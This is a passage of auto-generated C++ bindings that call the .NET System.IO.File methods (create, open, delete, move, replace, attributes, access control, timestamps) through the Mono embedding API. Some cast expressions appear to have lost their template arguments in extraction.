*path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameters__[0] = mono_string_new(Global::GetDomain(), path); MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "Create", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); return mscorlib::System::IO::FileStream(__result__); } mscorlib::System::IO::FileStream File::Create(mscorlib::System::String path, mscorlib::System::Int32 bufferSize) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameter_types__[1] = Global::GetType(typeid(bufferSize).name()); __parameters__[0] = (MonoObject*)path; __parameters__[1] = &bufferSize; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "Create", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); return mscorlib::System::IO::FileStream(__result__); } mscorlib::System::IO::FileStream File::Create(const char *path, mscorlib::System::Int32 bufferSize) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[1] = Global::GetType(typeid(bufferSize).name()); __parameters__[0] = mono_string_new(Global::GetDomain(), path); __parameters__[1] = &bufferSize; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "Create", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); return mscorlib::System::IO::FileStream(__result__); } mscorlib::System::IO::FileStream File::Create(mscorlib::System::String path, mscorlib::System::Int32 bufferSize, mscorlib::System::IO::FileOptions::__ENUM__ options) { MonoType *__parameter_types__[3]; void *__parameters__[3]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameter_types__[1] = Global::GetType(typeid(bufferSize).name()); __parameter_types__[2] = Global::GetType(typeid(options).name()); __parameters__[0] = (MonoObject*)path; __parameters__[1] = &bufferSize; mscorlib::System::Int32 __param_options__ = options; __parameters__[2] = &__param_options__; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "Create", NullMonoObject, 3, __parameter_types__, __parameters__, NULL); return mscorlib::System::IO::FileStream(__result__); } mscorlib::System::IO::FileStream File::Create(const char *path, mscorlib::System::Int32 bufferSize, mscorlib::System::IO::FileOptions::__ENUM__ options) { MonoType *__parameter_types__[3]; void *__parameters__[3]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[1] = Global::GetType(typeid(bufferSize).name()); __parameter_types__[2] = Global::GetType(typeid(options).name()); __parameters__[0] = mono_string_new(Global::GetDomain(), path); __parameters__[1] = &bufferSize; mscorlib::System::Int32 __param_options__ = options; __parameters__[2] = &__param_options__; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "Create", NullMonoObject, 3, __parameter_types__, __parameters__, NULL); return mscorlib::System::IO::FileStream(__result__); } mscorlib::System::IO::FileStream File::Create(mscorlib::System::String path, mscorlib::System::Int32 bufferSize, mscorlib::System::IO::FileOptions::__ENUM__ options, mscorlib::System::Security::AccessControl::FileSecurity fileSecurity) { MonoType *__parameter_types__[4]; void *__parameters__[4]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameter_types__[1] = Global::GetType(typeid(bufferSize).name()); __parameter_types__[2] = Global::GetType(typeid(options).name()); __parameter_types__[3] = Global::GetType(typeid(fileSecurity).name()); __parameters__[0] = (MonoObject*)path; __parameters__[1] = &bufferSize; mscorlib::System::Int32 __param_options__ = options; __parameters__[2] = &__param_options__; __parameters__[3] = (MonoObject*)fileSecurity; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "Create", NullMonoObject, 4, __parameter_types__, __parameters__, NULL); return mscorlib::System::IO::FileStream(__result__); } mscorlib::System::IO::FileStream File::Create(const char *path, mscorlib::System::Int32 bufferSize, mscorlib::System::IO::FileOptions::__ENUM__ options, mscorlib::System::Security::AccessControl::FileSecurity fileSecurity) { MonoType *__parameter_types__[4]; void *__parameters__[4]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[1] = Global::GetType(typeid(bufferSize).name()); __parameter_types__[2] = Global::GetType(typeid(options).name()); __parameter_types__[3] = Global::GetType(typeid(fileSecurity).name()); __parameters__[0] = mono_string_new(Global::GetDomain(), path); __parameters__[1] = &bufferSize; mscorlib::System::Int32 __param_options__ = options; __parameters__[2] = &__param_options__; __parameters__[3] = (MonoObject*)fileSecurity; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "Create", NullMonoObject, 4, __parameter_types__, __parameters__, NULL); return mscorlib::System::IO::FileStream(__result__); } mscorlib::System::IO::StreamWriter File::CreateText(mscorlib::System::String path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameters__[0] = (MonoObject*)path; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "CreateText", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); return mscorlib::System::IO::StreamWriter(__result__); } mscorlib::System::IO::StreamWriter File::CreateText(const char *path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameters__[0] = mono_string_new(Global::GetDomain(), path); MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "CreateText", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); return mscorlib::System::IO::StreamWriter(__result__); } void File::Delete(mscorlib::System::String path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameters__[0] = (MonoObject*)path; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "Delete", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); } void File::Delete(const char *path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameters__[0] = mono_string_new(Global::GetDomain(), path); Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "Delete", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); } mscorlib::System::Boolean File::Exists(mscorlib::System::String path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameters__[0] = (MonoObject*)path; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "Exists", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); return *(mscorlib::System::Boolean*)mono_object_unbox(__result__); } mscorlib::System::Boolean File::Exists(const char *path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameters__[0] = mono_string_new(Global::GetDomain(), path); MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "Exists", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); return *(mscorlib::System::Boolean*)mono_object_unbox(__result__); } mscorlib::System::Security::AccessControl::FileSecurity File::GetAccessControl(mscorlib::System::String path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameters__[0] = (MonoObject*)path; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "GetAccessControl", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); return mscorlib::System::Security::AccessControl::FileSecurity(__result__); } mscorlib::System::Security::AccessControl::FileSecurity File::GetAccessControl(const char *path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameters__[0] = mono_string_new(Global::GetDomain(), path); MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "GetAccessControl", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); return mscorlib::System::Security::AccessControl::FileSecurity(__result__); } mscorlib::System::Security::AccessControl::FileSecurity File::GetAccessControl(mscorlib::System::String path, mscorlib::System::Security::AccessControl::AccessControlSections::__ENUM__ includeSections) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameter_types__[1] = Global::GetType(typeid(includeSections).name()); __parameters__[0] = (MonoObject*)path; mscorlib::System::Int32 __param_includeSections__ = includeSections; __parameters__[1] = &__param_includeSections__; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "GetAccessControl", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); return mscorlib::System::Security::AccessControl::FileSecurity(__result__); } mscorlib::System::Security::AccessControl::FileSecurity File::GetAccessControl(const char *path, mscorlib::System::Security::AccessControl::AccessControlSections::__ENUM__ includeSections) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[1] = Global::GetType(typeid(includeSections).name()); __parameters__[0] = mono_string_new(Global::GetDomain(), path); mscorlib::System::Int32 __param_includeSections__ = includeSections; __parameters__[1] = &__param_includeSections__; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "GetAccessControl", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); return mscorlib::System::Security::AccessControl::FileSecurity(__result__); } mscorlib::System::IO::FileAttributes::__ENUM__ File::GetAttributes(mscorlib::System::String path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameters__[0] = (MonoObject*)path; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "GetAttributes", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); return static_cast(*(mscorlib::System::Int32*)mono_object_unbox(__result__)); } mscorlib::System::IO::FileAttributes::__ENUM__ File::GetAttributes(const char *path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameters__[0] = mono_string_new(Global::GetDomain(), path); MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "GetAttributes", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); return static_cast(*(mscorlib::System::Int32*)mono_object_unbox(__result__)); } mscorlib::System::DateTime File::GetCreationTime(mscorlib::System::String path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameters__[0] = (MonoObject*)path; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "GetCreationTime", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); return mscorlib::System::DateTime(__result__); } mscorlib::System::DateTime File::GetCreationTime(const char *path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameters__[0] = mono_string_new(Global::GetDomain(), path); MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "GetCreationTime", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); return mscorlib::System::DateTime(__result__); } mscorlib::System::DateTime File::GetCreationTimeUtc(mscorlib::System::String path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameters__[0] = (MonoObject*)path; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "GetCreationTimeUtc", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); return mscorlib::System::DateTime(__result__); } mscorlib::System::DateTime File::GetCreationTimeUtc(const char *path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameters__[0] = mono_string_new(Global::GetDomain(), path); MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "GetCreationTimeUtc", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); return mscorlib::System::DateTime(__result__); } mscorlib::System::DateTime File::GetLastAccessTime(mscorlib::System::String path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameters__[0] = (MonoObject*)path; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "GetLastAccessTime", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); return mscorlib::System::DateTime(__result__); } mscorlib::System::DateTime File::GetLastAccessTime(const char *path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameters__[0] = mono_string_new(Global::GetDomain(), path); MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "GetLastAccessTime", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); return mscorlib::System::DateTime(__result__); } mscorlib::System::DateTime File::GetLastAccessTimeUtc(mscorlib::System::String path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameters__[0] = (MonoObject*)path; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "GetLastAccessTimeUtc", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); return mscorlib::System::DateTime(__result__); } mscorlib::System::DateTime File::GetLastAccessTimeUtc(const char *path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameters__[0] = mono_string_new(Global::GetDomain(), path); MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "GetLastAccessTimeUtc", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); return mscorlib::System::DateTime(__result__); } mscorlib::System::DateTime File::GetLastWriteTime(mscorlib::System::String path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameters__[0] = (MonoObject*)path; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "GetLastWriteTime", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); return mscorlib::System::DateTime(__result__); } mscorlib::System::DateTime File::GetLastWriteTime(const char *path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameters__[0] = mono_string_new(Global::GetDomain(), path); MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "GetLastWriteTime", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); return mscorlib::System::DateTime(__result__); } mscorlib::System::DateTime File::GetLastWriteTimeUtc(mscorlib::System::String path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameters__[0] = (MonoObject*)path; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "GetLastWriteTimeUtc", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); return mscorlib::System::DateTime(__result__); } mscorlib::System::DateTime File::GetLastWriteTimeUtc(const char *path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameters__[0] = mono_string_new(Global::GetDomain(), path); MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "GetLastWriteTimeUtc", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); return mscorlib::System::DateTime(__result__); } void File::Move(mscorlib::System::String sourceFileName, mscorlib::System::String destFileName) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType(typeid(sourceFileName).name()); __parameter_types__[1] = Global::GetType(typeid(destFileName).name()); __parameters__[0] = (MonoObject*)sourceFileName; __parameters__[1] = (MonoObject*)destFileName; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "Move", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); } void File::Move(const char *sourceFileName, const char *destFileName) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[1] = Global::GetType("mscorlib", "System", "String"); __parameters__[0] = mono_string_new(Global::GetDomain(), sourceFileName); __parameters__[1] = mono_string_new(Global::GetDomain(), destFileName); Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "Move", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); } mscorlib::System::IO::FileStream File::Open(mscorlib::System::String path, mscorlib::System::IO::FileMode::__ENUM__ mode) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameter_types__[1] = Global::GetType(typeid(mode).name()); __parameters__[0] = (MonoObject*)path; mscorlib::System::Int32 __param_mode__ = mode; __parameters__[1] = &__param_mode__; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "Open", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); return mscorlib::System::IO::FileStream(__result__); } mscorlib::System::IO::FileStream File::Open(const char *path, mscorlib::System::IO::FileMode::__ENUM__ mode) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[1] = Global::GetType(typeid(mode).name()); __parameters__[0] = mono_string_new(Global::GetDomain(), path); mscorlib::System::Int32 __param_mode__ = mode; __parameters__[1] = &__param_mode__; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "Open", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); return mscorlib::System::IO::FileStream(__result__); } mscorlib::System::IO::FileStream File::Open(mscorlib::System::String path, mscorlib::System::IO::FileMode::__ENUM__ mode, mscorlib::System::IO::FileAccess::__ENUM__ access) { MonoType *__parameter_types__[3]; void *__parameters__[3]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameter_types__[1] = Global::GetType(typeid(mode).name()); __parameter_types__[2] = Global::GetType(typeid(access).name()); __parameters__[0] = (MonoObject*)path; mscorlib::System::Int32 __param_mode__ = mode; __parameters__[1] = &__param_mode__; mscorlib::System::Int32 __param_access__ = access; __parameters__[2] = &__param_access__; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "Open", NullMonoObject, 3, __parameter_types__, __parameters__, NULL); return mscorlib::System::IO::FileStream(__result__); } mscorlib::System::IO::FileStream File::Open(const char *path, mscorlib::System::IO::FileMode::__ENUM__ mode, mscorlib::System::IO::FileAccess::__ENUM__ access) { MonoType *__parameter_types__[3]; void *__parameters__[3]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[1] = Global::GetType(typeid(mode).name()); __parameter_types__[2] = Global::GetType(typeid(access).name()); __parameters__[0] = mono_string_new(Global::GetDomain(), path); mscorlib::System::Int32 __param_mode__ = mode; __parameters__[1] = &__param_mode__; mscorlib::System::Int32 __param_access__ = access; __parameters__[2] = &__param_access__; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "Open", NullMonoObject, 3, __parameter_types__, __parameters__, NULL); return mscorlib::System::IO::FileStream(__result__); } mscorlib::System::IO::FileStream File::Open(mscorlib::System::String path, mscorlib::System::IO::FileMode::__ENUM__ mode, mscorlib::System::IO::FileAccess::__ENUM__ access, mscorlib::System::IO::FileShare::__ENUM__ share) { MonoType *__parameter_types__[4]; void *__parameters__[4]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameter_types__[1] = Global::GetType(typeid(mode).name()); __parameter_types__[2] = Global::GetType(typeid(access).name()); __parameter_types__[3] = Global::GetType(typeid(share).name()); __parameters__[0] = (MonoObject*)path; mscorlib::System::Int32 __param_mode__ = mode; __parameters__[1] = &__param_mode__; mscorlib::System::Int32 __param_access__ = access; __parameters__[2] = &__param_access__; mscorlib::System::Int32 __param_share__ = share; __parameters__[3] = &__param_share__; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "Open", NullMonoObject, 4, __parameter_types__, __parameters__, NULL); return mscorlib::System::IO::FileStream(__result__); } mscorlib::System::IO::FileStream File::Open(const char *path, mscorlib::System::IO::FileMode::__ENUM__ mode, mscorlib::System::IO::FileAccess::__ENUM__ access, mscorlib::System::IO::FileShare::__ENUM__ share) { MonoType *__parameter_types__[4]; void *__parameters__[4]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[1] = Global::GetType(typeid(mode).name()); __parameter_types__[2] = Global::GetType(typeid(access).name()); __parameter_types__[3] = Global::GetType(typeid(share).name()); __parameters__[0] = mono_string_new(Global::GetDomain(), path); mscorlib::System::Int32 __param_mode__ = mode; __parameters__[1] = &__param_mode__; mscorlib::System::Int32 __param_access__ = access; __parameters__[2] = &__param_access__; mscorlib::System::Int32 __param_share__ = share; __parameters__[3] = &__param_share__; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "Open", NullMonoObject, 4, __parameter_types__, __parameters__, NULL); return mscorlib::System::IO::FileStream(__result__); } mscorlib::System::IO::FileStream File::OpenRead(mscorlib::System::String path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameters__[0] = (MonoObject*)path; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "OpenRead", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); return mscorlib::System::IO::FileStream(__result__); } mscorlib::System::IO::FileStream File::OpenRead(const char *path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameters__[0] = mono_string_new(Global::GetDomain(), path); MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "OpenRead", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); return mscorlib::System::IO::FileStream(__result__); } mscorlib::System::IO::StreamReader File::OpenText(mscorlib::System::String path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameters__[0] = (MonoObject*)path; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "OpenText", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); return mscorlib::System::IO::StreamReader(__result__); } mscorlib::System::IO::StreamReader File::OpenText(const char *path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameters__[0] = mono_string_new(Global::GetDomain(), path); MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "OpenText", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); return mscorlib::System::IO::StreamReader(__result__); } mscorlib::System::IO::FileStream File::OpenWrite(mscorlib::System::String path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameters__[0] = (MonoObject*)path; MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "OpenWrite", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); return mscorlib::System::IO::FileStream(__result__); } mscorlib::System::IO::FileStream File::OpenWrite(const char *path) { MonoType *__parameter_types__[1]; void *__parameters__[1]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameters__[0] = mono_string_new(Global::GetDomain(), path); MonoObject *__result__ = Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "OpenWrite", NullMonoObject, 1, __parameter_types__, __parameters__, NULL); return mscorlib::System::IO::FileStream(__result__); } void File::Replace(mscorlib::System::String sourceFileName, mscorlib::System::String destinationFileName, mscorlib::System::String destinationBackupFileName) { MonoType *__parameter_types__[3]; void *__parameters__[3]; __parameter_types__[0] = Global::GetType(typeid(sourceFileName).name()); __parameter_types__[1] = Global::GetType(typeid(destinationFileName).name()); __parameter_types__[2] = Global::GetType(typeid(destinationBackupFileName).name()); __parameters__[0] = (MonoObject*)sourceFileName; __parameters__[1] = (MonoObject*)destinationFileName; __parameters__[2] = (MonoObject*)destinationBackupFileName; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "Replace", NullMonoObject, 3, __parameter_types__, __parameters__, NULL); } void File::Replace(const char *sourceFileName, const char *destinationFileName, const char *destinationBackupFileName) { MonoType *__parameter_types__[3]; void *__parameters__[3]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[1] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[2] = Global::GetType("mscorlib", "System", "String"); __parameters__[0] = mono_string_new(Global::GetDomain(), sourceFileName); __parameters__[1] = mono_string_new(Global::GetDomain(), destinationFileName); __parameters__[2] = mono_string_new(Global::GetDomain(), destinationBackupFileName); Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "Replace", NullMonoObject, 3, __parameter_types__, __parameters__, NULL); } void File::Replace(mscorlib::System::String sourceFileName, mscorlib::System::String destinationFileName, mscorlib::System::String destinationBackupFileName, mscorlib::System::Boolean ignoreMetadataErrors) { MonoType *__parameter_types__[4]; void *__parameters__[4]; __parameter_types__[0] = Global::GetType(typeid(sourceFileName).name()); __parameter_types__[1] = Global::GetType(typeid(destinationFileName).name()); __parameter_types__[2] = Global::GetType(typeid(destinationBackupFileName).name()); __parameter_types__[3] = Global::GetType(typeid(ignoreMetadataErrors).name()); __parameters__[0] = (MonoObject*)sourceFileName; __parameters__[1] = (MonoObject*)destinationFileName; __parameters__[2] = (MonoObject*)destinationBackupFileName; __parameters__[3] = reinterpret_cast(ignoreMetadataErrors); Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "Replace", NullMonoObject, 4, __parameter_types__, __parameters__, NULL); } void File::Replace(const char *sourceFileName, const char *destinationFileName, const char *destinationBackupFileName, mscorlib::System::Boolean ignoreMetadataErrors) { MonoType *__parameter_types__[4]; void *__parameters__[4]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[1] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[2] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[3] = Global::GetType(typeid(ignoreMetadataErrors).name()); __parameters__[0] = mono_string_new(Global::GetDomain(), sourceFileName); __parameters__[1] = mono_string_new(Global::GetDomain(), destinationFileName); __parameters__[2] = mono_string_new(Global::GetDomain(), destinationBackupFileName); __parameters__[3] = reinterpret_cast(ignoreMetadataErrors); Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "Replace", NullMonoObject, 4, __parameter_types__, __parameters__, NULL); } void File::SetAccessControl(mscorlib::System::String path, mscorlib::System::Security::AccessControl::FileSecurity fileSecurity) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameter_types__[1] = Global::GetType(typeid(fileSecurity).name()); __parameters__[0] = (MonoObject*)path; __parameters__[1] = (MonoObject*)fileSecurity; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "SetAccessControl", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); } void File::SetAccessControl(const char *path, mscorlib::System::Security::AccessControl::FileSecurity fileSecurity) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[1] = Global::GetType(typeid(fileSecurity).name()); __parameters__[0] = mono_string_new(Global::GetDomain(), path); __parameters__[1] = (MonoObject*)fileSecurity; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "SetAccessControl", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); } void File::SetAttributes(mscorlib::System::String path, mscorlib::System::IO::FileAttributes::__ENUM__ fileAttributes) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameter_types__[1] = Global::GetType(typeid(fileAttributes).name()); __parameters__[0] = (MonoObject*)path; mscorlib::System::Int32 __param_fileAttributes__ = fileAttributes; __parameters__[1] = &__param_fileAttributes__; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "SetAttributes", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); } void File::SetAttributes(const char *path, mscorlib::System::IO::FileAttributes::__ENUM__ fileAttributes) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[1] = Global::GetType(typeid(fileAttributes).name()); __parameters__[0] = mono_string_new(Global::GetDomain(), path); mscorlib::System::Int32 __param_fileAttributes__ = fileAttributes; __parameters__[1] = &__param_fileAttributes__; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "SetAttributes", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); } void File::SetCreationTime(mscorlib::System::String path, mscorlib::System::DateTime creationTime) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType(typeid(path).name()); __parameter_types__[1] = Global::GetType(typeid(creationTime).name()); __parameters__[0] = (MonoObject*)path; __parameters__[1] = (MonoObject*)creationTime; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "SetCreationTime", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); } void File::SetCreationTime(const char *path, mscorlib::System::DateTime creationTime) { MonoType *__parameter_types__[2]; void *__parameters__[2]; __parameter_types__[0] = Global::GetType("mscorlib", "System", "String"); __parameter_types__[1] = Global::GetType(typeid(creationTime).name()); __parameters__[0] = mono_string_new(Global::GetDomain(), path); __parameters__[1] = (MonoObject*)creationTime; Global::InvokeMethod("mscorlib", "System.IO", "File", 0, NULL, "SetCreationTime", NullMonoObject, 2, __parameter_types__, __parameters__, NULL); } void 